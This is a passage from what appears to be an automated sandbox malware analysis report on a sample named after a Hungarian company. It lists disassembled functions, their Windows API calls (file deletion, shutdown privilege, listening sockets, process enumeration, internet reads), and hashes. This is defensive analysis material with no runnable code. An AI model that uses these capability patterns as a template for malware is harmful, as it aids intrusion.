                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove
                                                              • String ID:
                                                              • API String ID: 4104443479-0
                                                              • Opcode ID: f315b44162f5d3a0c45d83c01688663990b72aba2f82d813c9aaccf35348c5f3
                                                              • Instruction ID: d63c3f37626aabeea488798ce9b4f00be0e5a3075f96fcf8a174457688eb78e8
                                                              • Opcode Fuzzy Hash: f315b44162f5d3a0c45d83c01688663990b72aba2f82d813c9aaccf35348c5f3
                                                              • Instruction Fuzzy Hash: F1129C70A00609DFDF04DFA5D985AEEB7F5FF48310F104529E846A7292EB3AAD14CB91
                                                              Function 00793B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00734743,?,?,007337AE,?), ref: 00734770
                                                                • Part of subcall function 00794A31: GetFileAttributesW.KERNEL32(?,0079370B), ref: 00794A32
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 00793B89
                                                              • DeleteFileW.KERNEL32(?,?,?,?), ref: 00793BD9
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 00793BEA
                                                              • FindClose.KERNEL32(00000000), ref: 00793C01
                                                              • FindClose.KERNEL32(00000000), ref: 00793C0A
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                              • String ID: \*.*
                                                              • API String ID: 2649000838-1173974218
                                                              • Opcode ID: 0249a1f8913cea8e5d3e1f2c9569fec334873e1afbcf9ebc0444c97be63ae63c
                                                              • Instruction ID: 42c9163276a593256e3894048b386a0076ad637c6ca49b5d11c2a1c24f18f6c3
                                                              • Opcode Fuzzy Hash: 0249a1f8913cea8e5d3e1f2c9569fec334873e1afbcf9ebc0444c97be63ae63c
                                                              • Instruction Fuzzy Hash: 5A319E71008384DBD704EF24D895DAFB7E8BE95304F444E2DF4D593192EB289A08CB67
                                                              Function 007951BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007887E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0078882B
                                                                • Part of subcall function 007887E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00788858
                                                                • Part of subcall function 007887E1: GetLastError.KERNEL32 ref: 00788865
                                                              • ExitWindowsEx.USER32(?,00000000), ref: 007951F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                              • String ID: $@$SeShutdownPrivilege
                                                              • API String ID: 2234035333-194228
                                                              • Opcode ID: e119566831419139dfa79ef5397ab04e5ebed3be4a30007e9fde636b0043e21f
                                                              • Instruction ID: 3926f58d10215689d10878c502230accf2e86630e835450a2020044fd96b3cbe
                                                              • Opcode Fuzzy Hash: e119566831419139dfa79ef5397ab04e5ebed3be4a30007e9fde636b0043e21f
                                                              • Instruction Fuzzy Hash: 6F01F7B17956256BEF296378BC8EFBA7258FB05B40F200525F913E20D2D96D1C008794
                                                              Function 007A6283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 007A62DC
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A62EB
                                                              • bind.WSOCK32(00000000,?,00000010), ref: 007A6307
                                                              • listen.WSOCK32(00000000,00000005), ref: 007A6316
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A6330
                                                              • closesocket.WSOCK32(00000000,00000000), ref: 007A6344
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$bindclosesocketlistensocket
                                                              • String ID:
                                                              • API String ID: 1279440585-0
                                                              • Opcode ID: 7f6f4db5656628607b697b7a94347c7a98a0753b191b6559a6410b8c7e741530
                                                              • Instruction ID: 783d942eb17490ebeae4e264c0394adabf43323dfd95171776baddc9644ca60d
                                                              • Opcode Fuzzy Hash: 7f6f4db5656628607b697b7a94347c7a98a0753b191b6559a6410b8c7e741530
                                                              • Instruction Fuzzy Hash: 4221D230600200DFDB00EF64CC89F6EB7E9EF85720F148258E956A7392CB78AC01CB51
                                                              Function 00745520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00750DB6: std::exception::exception.LIBCMT ref: 00750DEC
                                                                • Part of subcall function 00750DB6: __CxxThrowException@8.LIBCMT ref: 00750E01
                                                              • _memmove.LIBCMT ref: 00780258
                                                              • _memmove.LIBCMT ref: 0078036D
                                                              • _memmove.LIBCMT ref: 00780414
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove$Exception@8Throwstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 1300846289-0
                                                              • Opcode ID: 86e721166c5dcc8e40767dbbef7420929c5f9edea9efcadb1f11a251d8946dc2
                                                              • Instruction ID: 94d1c0db24df33b05b37b5c2de103931d645a911e4d2fc13c6c624df19cbfbe3
                                                              • Opcode Fuzzy Hash: 86e721166c5dcc8e40767dbbef7420929c5f9edea9efcadb1f11a251d8946dc2
                                                              • Instruction Fuzzy Hash: 0E02E3B0A00209DFDF04EF64D985AAEBBB5FF44310F148069E80ADB252EB79DD54CB91
                                                              Function 00731287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • DefDlgProcW.USER32(?,?,?,?,?), ref: 007319FA
                                                              • GetSysColor.USER32(0000000F), ref: 00731A4E
                                                              • SetBkColor.GDI32(?,00000000), ref: 00731A61
                                                                • Part of subcall function 00731290: DefDlgProcW.USER32(?,00000020,?), ref: 007312D8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ColorProc$LongWindow
                                                              • String ID:
                                                              • API String ID: 3744519093-0
                                                              • Opcode ID: 00601867e1f29fe8bf762125750687ca25dfb8b3ac0ea590c43374df07801e23
                                                              • Instruction ID: 3149659e3feee202d39dc9dbae2b47ada66f7f7a1bd95b27d91b039f23afaa14
                                                              • Opcode Fuzzy Hash: 00601867e1f29fe8bf762125750687ca25dfb8b3ac0ea590c43374df07801e23
                                                              • Instruction Fuzzy Hash: A4A12971106584FAF628AB388C49EBF375CDF42342F94821AF903D6193DB2DAD41D6B6
                                                              Function 0079BCBC Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 0079BCE6
                                                              • _wcscmp.LIBCMT ref: 0079BD16
                                                              • _wcscmp.LIBCMT ref: 0079BD2B
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0079BD3C
                                                              • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0079BD6C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Find$File_wcscmp$CloseFirstNext
                                                              • String ID:
                                                              • API String ID: 2387731787-0
                                                              • Opcode ID: 3cb5546b8dca3ec251d0ffcce59495a48b6fef4324ed2ad1f281829f258c135a
                                                              • Instruction ID: 5e62b9ed3847c792b2f64119e75755b0ea37e6b7ce63042d41fa35d2ab0f0316
                                                              • Opcode Fuzzy Hash: 3cb5546b8dca3ec251d0ffcce59495a48b6fef4324ed2ad1f281829f258c135a
                                                              • Instruction Fuzzy Hash: E051BA75604702DFDB18DF68E894EAAB3E4EF49320F10461DE956873A2DB38ED04CB91
                                                              Function 007A6747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007A7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 007A7DB6
                                                              • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 007A679E
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A67C7
                                                              • bind.WSOCK32(00000000,?,00000010), ref: 007A6800
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A680D
                                                              • closesocket.WSOCK32(00000000,00000000), ref: 007A6821
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                              • String ID:
                                                              • API String ID: 99427753-0
                                                              • Opcode ID: 2aec502f36a7c7086972b42914b2e26dc7e3941f0a2f95107a48279a03be9e0d
                                                              • Instruction ID: 2f8ec65a2195d628b2db0559e2c5663934dd19f96a10c28f2b125afd3d7d8b65
                                                              • Opcode Fuzzy Hash: 2aec502f36a7c7086972b42914b2e26dc7e3941f0a2f95107a48279a03be9e0d
                                                              • Instruction Fuzzy Hash: 7F41C375B00210AFEB50BF248C8AF6E77E8DB49714F048558FA55AB3C3CAB89D008B91
                                                              Function 007B5376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                              • String ID:
                                                              • API String ID: 292994002-0
                                                              • Opcode ID: da1fcf9b43105c191429f79d9cb722f907a9f10876e58c228ca49fd214febeb5
                                                              • Instruction ID: f3aae2c7d214a484b51158871cb1a336c1e6d66c2f41dcb269d3554ea8cf8fe4
                                                              • Opcode Fuzzy Hash: da1fcf9b43105c191429f79d9cb722f907a9f10876e58c228ca49fd214febeb5
                                                              • Instruction Fuzzy Hash: 2411C831700511AFEB216F26DC48F9EBBD9EF447A5B548029F945D3341DBBCDC018AA4
                                                              Function 007880A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 007880C0
                                                              • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 007880CA
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 007880D9
                                                              • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 007880E0
                                                              • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 007880F6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HeapInformationToken$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 44706859-0
                                                              • Opcode ID: 9f3022fad60866f5459e2363d0935be75f25ac91c6ea98e9051c1dc4907cee98
                                                              • Instruction ID: 1004b00ae8defe0b1a8ba2ea7d50ed4ff0dc7920ecb91c575c200190569ec617
                                                              • Opcode Fuzzy Hash: 9f3022fad60866f5459e2363d0935be75f25ac91c6ea98e9051c1dc4907cee98
                                                              • Instruction Fuzzy Hash: E0F0C270240209BFEB102FA9EC8CF673BACEF49B54B504129F905C2160CF689C01DB61
                                                              Function 00734B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00734AD0), ref: 00734B45
                                                              • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00734B57
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: GetNativeSystemInfo$kernel32.dll
                                                              • API String ID: 2574300362-192647395
                                                              • Opcode ID: b0d2f0b2831a4593b4d1d8faa5dc6b2b14552a57bc3a5abc0bb166ac7a829cd7
                                                              • Instruction ID: 10f40af41d10a7a8fe5da2a10e99a5f75f0e775bb98c6935785973c495937b03
                                                              • Opcode Fuzzy Hash: b0d2f0b2831a4593b4d1d8faa5dc6b2b14552a57bc3a5abc0bb166ac7a829cd7
                                                              • Instruction Fuzzy Hash: B1D08CB0A1071ADFD7208B39DC28B42B2D4AF00B40B10C839D481C2150D77CE480C618
                                                              Function 007AEE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateToolhelp32Snapshot.KERNEL32 ref: 007AEE3D
                                                              • Process32FirstW.KERNEL32(00000000,?), ref: 007AEE4B
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • Process32NextW.KERNEL32(00000000,?), ref: 007AEF0B
                                                              • CloseHandle.KERNEL32(00000000,?,?,?), ref: 007AEF1A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                              • String ID:
                                                              • API String ID: 2576544623-0
                                                              • Opcode ID: 70126bea96b173c6e5fdc7fe4b4ab14cd94ddd70ee8fa26fede115e6b4b14723
                                                              • Instruction ID: 55ad41128bdfa8762ee6e69292cc9f47a7223efdc827c83e894785edc3adc573
                                                              • Opcode Fuzzy Hash: 70126bea96b173c6e5fdc7fe4b4ab14cd94ddd70ee8fa26fede115e6b4b14723
                                                              • Instruction Fuzzy Hash: E251A171508314EFE320EF24DC85E6BB7E8EF89710F00492DF595972A2EB74A904CB92
                                                              Function 0078E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • lstrlenW.KERNEL32(?,?,?,00000000), ref: 0078E628
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: lstrlen
                                                              • String ID: ($|
                                                              • API String ID: 1659193697-1631851259
                                                              • Opcode ID: 7ef30b7e0582281e442ef8d3ad15e7ba7613a2bb6239f81319bcaf85079afce2
                                                              • Instruction ID: a148265e8b3811faa3cb98f2d068a9bf6ac7fdece5c279df54cba16004ea3a07
                                                              • Opcode Fuzzy Hash: 7ef30b7e0582281e442ef8d3ad15e7ba7613a2bb6239f81319bcaf85079afce2
                                                              • Instruction Fuzzy Hash: 95321375A407059FDB28DF19C481AAAB7F0FF48320B15C56EE89ADB3A1E774E941CB40
                                                              Function 007A22EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,007A180A,00000000), ref: 007A23E1
                                                              • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 007A2418
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Internet$AvailableDataFileQueryRead
                                                              • String ID:
                                                              • API String ID: 599397726-0
                                                              • Opcode ID: 872a85497aaa5e033be7a18c0a28c820d36a64d73d56eb28a1ed5e2662f9d8af
                                                              • Instruction ID: 837c3e720b39d5074ea4333a70ee20e5b7c5695f9416ef14eecf203aa2497a08
                                                              • Opcode Fuzzy Hash: 872a85497aaa5e033be7a18c0a28c820d36a64d73d56eb28a1ed5e2662f9d8af
                                                              • Instruction Fuzzy Hash: 25412871504209FFEF10DE99DC85FBB77BCEB86314F10416EFA01A6142DA7D9E429650
                                                              Function 0079B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 0079B343
                                                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0079B39D
                                                              • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0079B3EA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorMode$DiskFreeSpace
                                                              • String ID:
                                                              • API String ID: 1682464887-0
                                                              • Opcode ID: a7442b24b454e0056c7745f7bc33e79b570dde52befb90fc7b0e53fba2310127
                                                              • Instruction ID: 41b3675f39e969bd41d7d40a0cef27f0c6ba1edf5a0166d01b4f31e12e2d86bb
                                                              • Opcode Fuzzy Hash: a7442b24b454e0056c7745f7bc33e79b570dde52befb90fc7b0e53fba2310127
                                                              • Instruction Fuzzy Hash: AA215E35A00108EFDB00EFA5E885EEDBBB8FF49310F1480A9E905AB351CB35A915CB55
                                                              Function 007887E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00750DB6: std::exception::exception.LIBCMT ref: 00750DEC
                                                                • Part of subcall function 00750DB6: __CxxThrowException@8.LIBCMT ref: 00750E01
                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0078882B
                                                              • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00788858
                                                              • GetLastError.KERNEL32 ref: 00788865
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                              • String ID:
                                                              • API String ID: 1922334811-0
                                                              • Opcode ID: ff8b83bad381db0cd8a6146d0f13fa046f03137b2d78cbc16a30680584f1b803
                                                              • Instruction ID: cbfca0b8a947ade2b2a64299f7b6d83b0f7a9fa93f1f0d2c70622c22edcd70cf
                                                              • Opcode Fuzzy Hash: ff8b83bad381db0cd8a6146d0f13fa046f03137b2d78cbc16a30680584f1b803
                                                              • Instruction Fuzzy Hash: 1E11BFB2514305AFE718EFA4DC85D6BB7F8EB04711B60862EF45593211EB74BC008B60
                                                              Function 0078874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
